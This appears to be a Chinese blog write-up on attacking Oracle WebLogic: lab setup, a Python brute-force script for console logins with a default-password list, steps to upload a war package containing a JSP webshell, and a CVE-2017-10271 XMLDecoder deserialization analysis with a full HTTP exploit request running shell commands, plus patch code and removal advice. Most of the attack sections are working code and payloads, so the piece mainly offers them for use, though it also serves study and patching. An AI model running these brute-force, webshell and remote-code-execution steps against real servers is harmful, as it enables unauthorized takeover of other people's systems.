weblogic系列漏洞整理

[TOC]

一、 WebLogic安装

0. 概述

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,webLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

1. 下载安装Java环境

WebLogic需要安装Java环境,JDK下载地址http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jdk-8u161-linux-x64.rpm

wget http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jdk-8u161-linux-x64.rpm
mkdir -p /usr/java/
mv jdk-8u161-linux-x64.rpm /usr/java/
rpm -ivh jdk-8u161-linux-x64.rpm
//添加环境变量
vim /etc/profile
//在最后加入
export JAVA_HOME=/usr/java/jdk1.8.0_161
export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export PATH=$PATH:$JAVA_HOME/bin

//安装成功后
[root@CentOS-6 bin]# echo $JAVA_HOME
/usr/java/jdk1.8.0_161
[root@CentOS-6 bin]# java -version
java version "1.8.0_161"
Java(TM) SE Runtime Environment (build 1.8.0_161-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.161-b12, mixed mode)
[root@CentOS-6 bin]# 

2. 下载安装WebLogic

wget http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar

//创建用户和组
groupadd weblogic #创建weblogic组
useradd -g weblogic weblogic #创建weblogic用户
password weblogic #创建weblogic密码

java -jar wls1036_generic.jar
按照提示完成WebLogic安装,安装完成后配置domain,然后再在`/root/Oracle/Middleware/user_projects/domains/weblogic/bin`中启动weblogic
`./startWebLogic.sh`

如果出现如下错误

java.lang.AssertionError: Could not obtain the localhost address. The most likely cause is an error in the network configuration of this machine.
    at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:38)
    at weblogic.server.channels.AddressUtils$AddressMaker.<clinit>(AddressUtils.java:33)
    at weblogic.server.channels.AddressUtils.getIPAny(AddressUtils.java:154)
    at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:61)
    at weblogic.server.channels.ChannelService.start(ChannelService.java:207)
    Truncated. see log file for complete stacktrace
Caused By: java.net.UnknownHostException: CentOS-6.5-mini: CentOS-6.5-mini: Name or service not known
    at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
    at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:36)
    at weblogic.server.channels.AddressUtils$AddressMaker.<clinit>(AddressUtils.java:33)
    at weblogic.server.channels.AddressUtils.getIPAny(AddressUtils.java:154)
    at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:61)
    Truncated. see log file for complete stacktrace
Caused By: java.net.UnknownHostException: CentOS-6.5-mini: Name or service not known
    at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
    at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
    at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
    at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
    at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:36)
    Truncated. see log file for complete stacktrace
> 

则修改hosts文件

vim /etc/hosts
添加
127.0.0.1    your hostname //your host 可以在终端输入hostname查看

然后浏览器访问http://your-ip:7001/console/ 查看。出现登陆界面则安装成功。
http://192.168.1.128:7001/wls-wsat/CoordinatorPortType

二、 weblogic弱口令

weblogic常用弱口令https://cirt.net/passwords?criteria=weblogic

后台登陆地址: http://192.168.136.130:7001/console/login/LoginForm.jsp

0. 思路

登陆weblogic后台看到后台地址登陆并无限制,因此可以尝试写脚本进行爆破。

在登陆页面随便输入一个用户名密码,利用network查看提交情况

image

可以看到,点击提交按钮后,浏览器向http://192.168.136.130:7001/console/j_security_check地址POST提交了这个表单

image
j_username: web
j_password: logic
j_character_encoding: UTF-8

当提交错误时,重新返回登陆页面的地址,

正确时,则返回新的地址

image

根据这个思路即可以编写爆破脚本。

1. python爆破脚本

完整脚本git地址https://github.com/b4zinga/Explib/blob/master/weblogic.py

关键代码:

def weakPasswd(self):
        """weak password"""

        pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
        for user in pwddict:
            for pwd in pwddict:
                data = {
                    'j_username':user,
                    'j_password':pwd,
                    'j_character_encoding':'UTF-8'
                }
                req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

                if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                    print('[+] WebLogic  username: '+user+'  password: '+pwd)
                    return True
        return False

2. 技巧

python的requests模块在post或get提交数据时,如果返回信息中含302,则requests会默认跟随跳转,这里跳转之后不容易 判断,所以给requests添加allow_redirects=False参数,指定requests不跟随跳转。

三、 weblogic 后台提权

0. 思路分析

因为weblogic是一个基于JavaEE的中间件,所以可以解析jsp代码,那么,当我们知道后台密码之后,即可登陆weblogic后台,上传恶意war包,从而进行提权等操作。

1. 利用过程

登陆weblogic后台 http://192.168.136.130:7001/console ,点击左侧的部署,在弹出来的右侧页面点击“安装”

image

在安装页面选择“上载文件”:

image

在 “将部署上载到管理服务器” 区域选择"浏览",然后按照提示(其实就是一直下一步就行,最后点保存),将打包好的包含大马的war包上传至服务器。

包含大马的war包制作方法:

jar -cvf test.war ./test/*

将test目录打包为test.war

上传成功后即可访问大马 http://192.168.136.130:7001/test/jsp马.jsp查看上传结果(需要注意的是,安装之后应该启动才能访问到该应用)

image
image

2. 提示和技巧

  1. 通过上述步骤上传的木马默认是保存在/root/Oracle/Middleware/user_projects/domains/weblogic/servers/AdminServer/upload
  2. war包制作方法jar -cvf test.war ./test/*

一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html

二、weblogic弱口令 http://www.cnblogs.com/0x4D75/p/8918761.html

三、weblogic 后台提权 http://www.cnblogs.com/0x4D75/p/8919760.html

四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

影响版本:

Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本

0. 漏洞分析

通过POC利用后,抓取weblogic的返回响应的xml部分如下,调用栈在<ns2:frame />标签中:

image

从调用栈可以明确的看到源码中weblogic调用函数的过程:

image

processRequest>readHeaderOld>receive>receiveRequest>receiveRequest>readEntry>readUTF

我们发送的poc经过这部分处理,就到了<ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject"/>中。

processRequest函数源码为:

public NextAction processRequest(Packet var1) {
   this.isUseOldFormat = false;
   if(var1.getMessage() != null) {
      HeaderList var2 = var1.getMessage().getHeaders();
      Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
      if(var3 != null) {
         this.readHeaderOld(var3);
         this.isUseOldFormat = true;
      }
      Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
      if(var4 != null) {
         this.readHeader(var4);
      }
   }

WorkAreaConstants.WORK_AREA_HEADER:

public interface WorkAreaConstants{
    String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
    String WORK_PREFIX = "work";
    String XML_TAG_WORK_CONTEXT = "WorkContext";
    String XML_TAG = "work:WorkContext";
    QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
    QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
}

readHeaderOld源码:

protected void readHeaderOld(Header var1) {
   try {
      XMLStreamReader var2 = var1.readHeader();
      var2.nextTag();
      var2.nextTag();
      XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
      ByteArrayOutputStream var4 = new ByteArrayOutputStream();
      XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
      var3.bridge(var2, var5);
      var5.close();
      WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
      this.receive(var6);
   } catch (XMLStreamException var7) {
      throw new WebServiceException(var7);
   } catch (IOException var8) {
      throw new WebServiceException(var8);
   }
}

其中:

ByteArrayOutputStream: 捕获内存缓冲区的数据,转换成字节数组  
ByteArrayInputStream: 将字节数组转化为输入流 

上述过程中,var4会被赋予Poc中java标签内的代码,即:

<java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                <string>id > /tmp/b4z</string>
                                </void>
                            </array>
                        <void method="start"/></void>
                    </java>

WorkContextXmlInputAdapter代码:

public WorkContextXmlInputAdapter(InputStream var1){
    this.xmlDecoder = new XMLDecoder(var1);
}

可以看到,在WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,从而导致反序列化远程代码执行。

1. 利用过程

poc如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                <string>id > /tmp/b4</string>
                                </void>
                            </array>
                        <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
        <soapenv:Body/>
</soapenv:Envelope>


python版完整利用代码: https://github.com/b4zinga/Explib/blob/master/weblogic.py

2. 修复建议

  1. 安装补丁

四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()

public WorkContextXmlInputAdapter(InputStream is)  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();    try
    {      int next = 0;
      next = is.read();      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }    catch (Exception e)
    {      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }  
  private void validate(InputStream is)  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException        {          if (qName.equalsIgnoreCase("object")) {            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }    catch (ParserConfigurationException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (SAXException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (IOException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }
  }

其实就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过。

10271补丁:

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

本次限制了object,new, method, void,array等关键字段,这样就不能生成Java实例,所以不能执行命令。

  1. 删除WLS-WebServices组件

    Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
    Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
    Middleware/wlserver_10.3/server/lib/wls-wsat.war
    
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,126评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,254评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,445评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,185评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,178评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,970评论 1 284
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,276评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,927评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,400评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,883评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,997评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,646评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,213评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,204评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,423评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,423评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,722评论 2 345

推荐阅读更多精彩内容